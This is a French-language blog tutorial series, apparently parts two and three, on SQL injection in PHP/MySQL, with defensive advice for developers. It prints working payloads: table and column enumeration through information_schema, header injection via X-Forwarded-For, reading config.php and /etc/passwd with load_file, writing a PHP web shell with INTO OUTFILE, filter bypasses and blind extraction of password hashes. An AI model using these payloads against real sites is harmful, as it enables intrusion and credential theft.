* Lire/Écrire dans un fichier et potentiellement exécuter des commandes système sur la machine distante

MySQL et information_schema

Alors pour commencer, et comme j’avais dit dans l’article précèdent, on verra comment un attaquant pourra lister les noms des tables présentes dans votre base, ainsi que tous les champs!

En fait, information_schema est une base de données propre à mysql, elle existe depuis la version 5, et contient des informations sur tous les objets accessibles à l’utilisateur courant

Le problème c’est que dans mysql, information_schema est par default accessible à tous les utilisateurs! Du coup un attaquant peut lister les noms des tables et champs!

En reprenant l’exemple que j’avais donné dans le premier tutorial (Injecter des données depuis une table) , voici un bout de code qui permet de lister les noms des tables présentes sur une base!

profile.php?id=-1 UNION SELECT null,null,null,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = database();--

Cette requête injectera le nom de la première table présente sur la base de données courante, à noter que database() est une fonction spécifique à mysql qui retourne le nom de la base de données en cours! Ainsi l’attaquant peut lister toutes les tables on rajoutant la clause LIMIT

Quote:
profile.php?id=-1 UNION SELECT null,null,null,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = database(); LIMIT 1,1–
// ou encore
profile.php?id=-1 UNION SELECT null,null,null,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = database(); LIMIT 2.1–
Injection des noms de champs

Les noms des champs existe dans la table COLUMNS , un simple union peut permettre à un attaquant d’injecter ces derniers!
// afficher le premier champ

Quote:
profile.php?id=-1 UNION SELECT null, null, null, COLUMN_NAME FROM COLUMNS WHERE TABLE_SCHEMA = database() AND TABLE_NAME=’users’ –
// afficher le troisième champ
profile.php?id=-1 UNION SELECT null, null, null, COLUMN_NAME FROM COLUMNS WHERE TABLE_SCHEMA = database() AND TABLE_NAME=’users’ LIMIT 2,1–
SQL Injection et les entêtes HTTP

L’une parmi les erreurs que certains programmeurs commettent lors du développement d’une application, est le fait de faire confiance aux variables d’environnement et aux entêtes HTTP! Il ne faut jamais se contenter de filtrer GET/POST/COOKIE car ce n’est pas suffisant

Voici un exemple pour démontrer le risque encouru:

On considère un script de rating, permettant aux utilisateurs de voter une seule fois pour chaque sondage! Pour mettre en place un tel système, le script récupère l’adresse IP de l’utilisateur en prenant en compte l’utilisation d’un proxy (X_FORWARDED_FOR) avec la fonction suivante:

function get_real_ip(){
return isset($_SERVER['HTTP_X_FORWARDED_FOR'])
? $_SERVER['HTTP_X_FORWARDED_FOR']
: $_SERVER['REMOTE_ADDR'];
}

Le traitement se passe au niveau d’une page vote.php qui récupère la note et vérifie si l’adresse ip ne figure pas dans les ips ayant déjà voté pour le même article, si tout va bien le vote est enregistré, sinon un message d’erreur est affiché: « Désolé [IP] mais vous avez déjà voté pour l’article [toto] »

if(!empty($_POST['id']) && !empty($_POST['note']))
{
$article_id = intval($_POST['id']);
$note = intval($_POST['note']);
$ip = get_real_ip();
$req = mysql_query("SELECT ip,titre FROM votes WHERE id = '$article_id' AND ip = '$ip'") or die(mysql_error());
if(mysql_num_row($req) > 0){
$data = mysql_fetch_array();
echo "Désolé ".$data['ip']." mais vous avez déjà voté pour l'article ".htmlspecialchars($data['titre'])
}
else
{
// traitement ...
echo "Merci pour votre vote";
}
}

Que se passe t’il si un attaquant envoie la requête HTTP suivante:

POST /vote.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
X_FORWARDED_FOR: ' union select user(),2--
Connection: close

id=1&amp;amp;amp;note=10

Scénario

La fonction get_real_ip() retrouvera l’entête $_SERVER['HTTP_X_FORWARDED_FOR'] et retournera comme valeur : ‘ union select 1,2–

La requête SQL deviendra :

Quote:
SELECT ip,titre FROM votes WHERE id = ‘1′ AND ip = ‘ ‘ union select user(),1111–’
Le nombre de lignes retourné sera 1 > 0 donc le message suivant s’affichera :
Quote:
Désolé root@localhost mais vous avez déjà voté pour l’article 1111
d’où root@localhost et 1111 correspondent respectivement à user() et 1111

Vous l’avez bien compris? Il est possible de polluer l’entête HTTP X_FORWARDED_FOR avec du code SQL (‘ union..) et résulter une injection, pensez donc toujours à échapper toute variable récupérée à partir d’une entête HTTP ($_SERVER, $_COOKIE) bref tout ce qui peut être manipulé par l’utilisateur!
MYSQL et la permission FILE
Lire un fichier avec load_file()

Lors de la création d’un utilisateur dans MYSQL, l’administrateur assigne des droits (SELECT, UPDATE, DROP ..) à l’utilisateur en question sur une table, parmi ces droits il existe la permission FILE, elle permet de lire un fichier à partir d’une requête SELECT

exemple :

Quote:
SELECT load_file(‘/home/user/data_articles.txt’) INTO articles ;
Sur certains serveurs, la permission FILE est assignée par défaut aux utilisateurs, du coup la présence d’une injection sql peut permettre aux attaquants de lire n’importe quel fichiers accessible depuis mysql! et encore si les droits du daemon mysql sont mal configurés, un attaquant malveillant peut lire les données d’un autre utilisateur sur le même serveur!
Quote:
profile.php?id=-1 UNION SELECT null, load_file(‘/home/victimuser/public_html/config.php’)–
Écriture dans un fichier (OUTFILE/DUMPFILE)

Si la permission FILE est assignée à l’utilisateur courant, un attaquant peut écrire des données dans le système de fichier, à condition que les droits d’écriture soient assignés au dossier/fichier en question

Dans mysql les fonctions OUTFILE et DUMPFILE permettent d’écrire dans un fichier, ainsi un attaquant peut s’en servir pour injecter du code PHP:

Exemples:

profile.php?id=-1 UNION SELECT null, '<?php system(\$_GET[cmd]) ?>' INTO OUTFILE '/home/victime.com/public_html/uploads/shell.php'--

profile.php?id=-1 UNION SELECT null, '<?php system(\$_GET[cmd]) ?>' INTO DUMPFILE '/home/victime.com/public_html/uploads/shell.php'--

L’exécution de cette requête provoquera la création d’un script shell.php dans le dossier nommé « upload » et permettra à l’attaquant d’exécuter des commandes système sur le serveur avec les droits du daemon apache.. 



Je vous laisse imaginer les conséquences que cela peut engendrer =)
SQL injection et urlencode()

J’ai remarqué sur certain script l’utilisation de la fonction urlencode() pour échapper les entrées utilisées dans une requête, en fête ce n’est pas suffisant et pas du tout fiable comme moyen de protection, voici un exemple :

Quote:
Page : index.php?page=test
Code:
$sql = mysql_query(« SELECT title,content FROM pages WHERE page_name = ‘ ».urlencode($_GET['page']). » ‘ »);

Ce code peut bien échapper un signle quote d’où index.php?page=test’ génèrera la requête
SELECT title,content FROM pages WHERE page_name = ‘test%27′

Tout est normale jusque là! Le single quote ‘ est encodé en %27, mais que se passera t’il si on re-urlencode notre %27 en %2527 ? :)

Résultat: Ca va injecter un ‘ au nez de la requête, du coup l’appelle de la page :
index.php?page=test%2527 union select null, ‘Hello’– va produire la requête suivante :

Quote:
SELECT title,content FROM pages WHERE page_name=’test’ union select null,’Hello’–’
Ne cherchez pas à vous compliquer la vie, mysql_real_escape_string() est votre amie =)
MySQL et magic_quote_gpc

magic_quote_gpc est une directive dans le fichier de configuration php.ini, elle permet
d’ajouter automatiquement un backslash (\) à toute variables gpc ($_GET, $_POST, $_COOKIE). Si
cette directive est activée, il n’est pas possible d’injecter un signle quote dans une requête à une
variable globale (GPC)! Parcontre ça reste toujours contournable dans certains cas! il n’y a pas que $_GET/$_POST/$_COOKIE en PHP =)

Voici des exemples d’un contournement possible permettant d’injecter une chaine en l’encodant en hexadécimale :

Quote:
Profile.php?id=-1, load_file(0×2f6574632f706173737764)–
la chaine 0×2f6574632f706173737764 correspond à /etc/passwd, ainsi un attaquant peut encoder n’importe quelle chaine pour injecter par exemple les noms de tables et champs à partir de la base information_schema.. vous pouvez imaginer les possibilités..

L’activation de magic_quote_gpc peut vous éviter pas mal de problèmes, mais ca reste tout de même pas un moyen idéal pour se protéger! Il ne faut pas se contenter de l’activer et se dire que vous êtes à l’abri :)
les Filtres anti-sql injection

Un filtre sql injection est tout simplement un script qui permet de filtrer les entrée saisis par l’utilisateurs et detecter une éventuelle tentative d’attaque! il est important de prévoir toutes les possibilités sinon le filtre risque d’être contourné!

Voici un exemple d’un filtre qui detecte le mot clé UNION dans une requette:

$apply_to = array('GET','POST','COOKIE');
$bad_words = array('union','order by','select','from','where');
foreach($apply_to as $g){
foreach($$g as $key => $val){
foreach($bad_words as $word){
if(strstr($val,$word)){
die('SQL Injection Attempt detected');
// Writing the log attaque into log file
}
}
}
}

Ce filtre parait bien, mais il est contournable car il ne vérifie pas la casse!

immaginons l’appelle de la page

Quote:
profile.php?id=-1 UnIoN SeleCt nuLl, NUll, nulL, password FroM users–
un attaquant peut facilement contourner ce script on modifiant la casse de chaque mot protégé! c’est juste un exemple pour dire qu’avant de créer un filtre, il faut penser à toutes les possibilités ce qui est pénible, le mieux à mon avis est d’adopter les bonnes pratiques en codant proprement =) on peut pas toujours nous mettre dans la peau d’un pirate ;)
Comment se protéger contrer les injections SQL?

Voilà donc! J’ai essayé d’exposer différentes façons à travers lesquelles un attaquant malveillant peut vous atteindre en exploitant une injection SQL, le but c’est que chaque programmeur aie une vision claire de ce qu’un attaquant peut faire en passant par une injection!

Voici les bonnes pratiques à adopter pour éviter de se faire injecté sa base par un kiddie :

* Ne donnez jamais les droits aux utilisateurs sur la base de données information_schema, ça permetera de rendre l’exploitation d’une injection (si elle existe) plus difficile pour un attaquant!
* Si vous utilisez un CMS comme Joomla! Drupal, Magento.., pensez toujours à modifier les préfixes par default!
* Méfiez vous des entêtes HTTP, échappez toutes les entrées et validez-les avant de les utiliser dans une requête
* Ne jamais donner les droits FILE aux utilisateurs mysql
* Après l’installation d’un serveur dedié, pensez à modifier le mot de passe root de mysql, il est par default vide, sachant que le compte root possède tous les droits sur toutes les bases!
* N’utilisez jamais la fonction urlencode() pour échapper les quotes dans une requête, utilisez plutôt mysql_real_escape_string()
* Pensez toujours à lire les fichiers logs d’apache, repérez les URL suspect et vérifier si c’est susceptible d’être vulnerable :)

Voilà donc pour cet épisode, dans le prochain je parlerai des Blind injections SQL! J’espère que ce tutorial vous a été utile, n’hésitez pas à enrichir la discution :), toute question/ remarques sont les bienvenues :)

PARTIE 3:

Blind SQL injection

Après les deux premiers tutoriaux au sujet des attaques de type SQL Injection, le billet d’aujourd’hui sera dédié à un vecteur d’attaque un peu particulier, si vous ne connaissez pas les principes d’une injection sql, je vous invite vivement à lire les deux premiers articles avant de passer à la suite ;)

Je rappelle que la série de ces tutoriaux est dans le but de donner une idée sur les différents aspects et vecteurs d’attaque d’une injection SQL, j’espère que ça vous aidera à mieux vous protéger et percevoir les risques en codant, n’hésitez pas à me faire part de vos remarques ;)
Qu’est ce que Blind SQL Injection?

Blind SQL Injection est un vecteur d’attaque dont l’approche est très différente de celle des injections classiques, elle permet comme ses ascendants d’injecter des données à partir d’une base d’une application vulnérable. Repérer une faille de ce type n’est pas toujours facile et demande une série de tests.

Les Injections blind se caractérisent par l’absence d’un message d’erreur qui permettra de repérer la faille, ce qui impose une serie de tests « à l’aveuglette » qui permettront d’identifier la présence d’une faille ou pas !

Prenant un exemple :

On considère une application web avec une page profile.php avec le code ci-dessous :

//…
$user_id = stri_replace('union','',$_GET['user_id']);
$query = "SELECT * FROM profile WHERE user_id = $user_id" ;
if(!@mysql_query($query)){
echo "Ce membre n'existe pas";
}
else{
//Affichage des données du profil
}

Ce code semble sécurisé contre les injections classiques puisqu’il remplace le mot clé « union » qui peut permettre à un attaquant de sélectionner une nouvelle ligne et détourner la requête, toute-fois un attaquant malveillant peut l’exploiter!

Analysant cette requête :

Quote:
profile.php?user_id=1
Cet appel affichera le profile de l’utilisateur ayant l’id 1 (généralement l’administrateur du site)

Que se passera t’il avec : 

Quote:
profile.php?user_id=1 AND 1=2
Logiquement 1 != 2, si le script n’affiche pas le profil c’est que la condition rajoutée a été exécutée dans la requête, on peut vérifier ça on rajoutant une condition qui retourne toujours true (profile.php?user_id=1 AND 4=4), si avec cette appel le profil de l’utilisateur ayant user_id=1 s’affiche, c’est que le script est vulnérable à une injection de type « Blind SQL Injection », alors là! La bonne nouvelle c’est que l’attaquant ne voit aucune information affichée, la mauvaise c’est qu’il peut facilement bruteforcer l’information en rajoutant des condition dans l’url et suivant l’affichage ou le non-affichage du profile, il peut donc comprendre si la condition qu’il a mise est correcte par la suite extraire les information caractère par caractère

Exemple permettant de vérifier que la version de mysql est 5:

Quote:
profile.php ?user_id=1 AND version() MATCH 5
Voyant ce qu’un attaquant malveillant peut faire pour exploiter cette faille :
Quote:
profile.php?user_id=1 and length(password)=32
cet appel illuste un test sur la longueur du champ password, généralement les passes sont cryptés en md5, si c’est le cas le profil s’affiche et ça facilite à l’attaquant la poursuite de son exploitation ! Un md5 est une chaine de caractère en hexadécimal [09-af] donc 16 possibilités pour chaque caractères, du coup les possibilités ne sont pas énormes, 16 test au maximum peuvent permettre d’injecter un caractère du champ password, ce qui donne 512 requêtes en total pour extraire le hash md5 de l’utilisateur ayant user_id = 1

Exemple :

Quote:
profile.php?user_id=1 AND substr(password,0,1)= 0×66
Pour tester si le premier caractère est un « f » (0×66 correspond au code hexadécimal de la lettre f) ainsi selon l’affichage (ou non) du profil utilisateur l’attaquant peut facilement injecter le reste, évidement sans aucun message d’erreur affiché sur son écran !

Pour résumer: Une Blind SQL Injection est toujours exploitée grâce à un bruteforce à l’aveuglette on se servant d’une page vulnérable qui affiche une donnés X, selon l’affichage ou non de cette dernière on peut deviner les données se cachant derrière.
Comment sécuriser son application ?

Les bonnes pratiques à adopter pour éviter de se faire pirater son site sont généralement les mêmes que j’ai cité dans les deux premier tutoriaux : de manière générale : Ne jamais se contenter de cacher les messages d’erreur, pensez toujours à filtrer les entrées, rajouter toujours les « signles quotes » aux variables que vous usez dans vos requêtes SQL et filtrer toujours avec la fonction mysql_real_escape_string
Tag : ,

- sebdelkil 2009-2015 - Aucun droit réservé -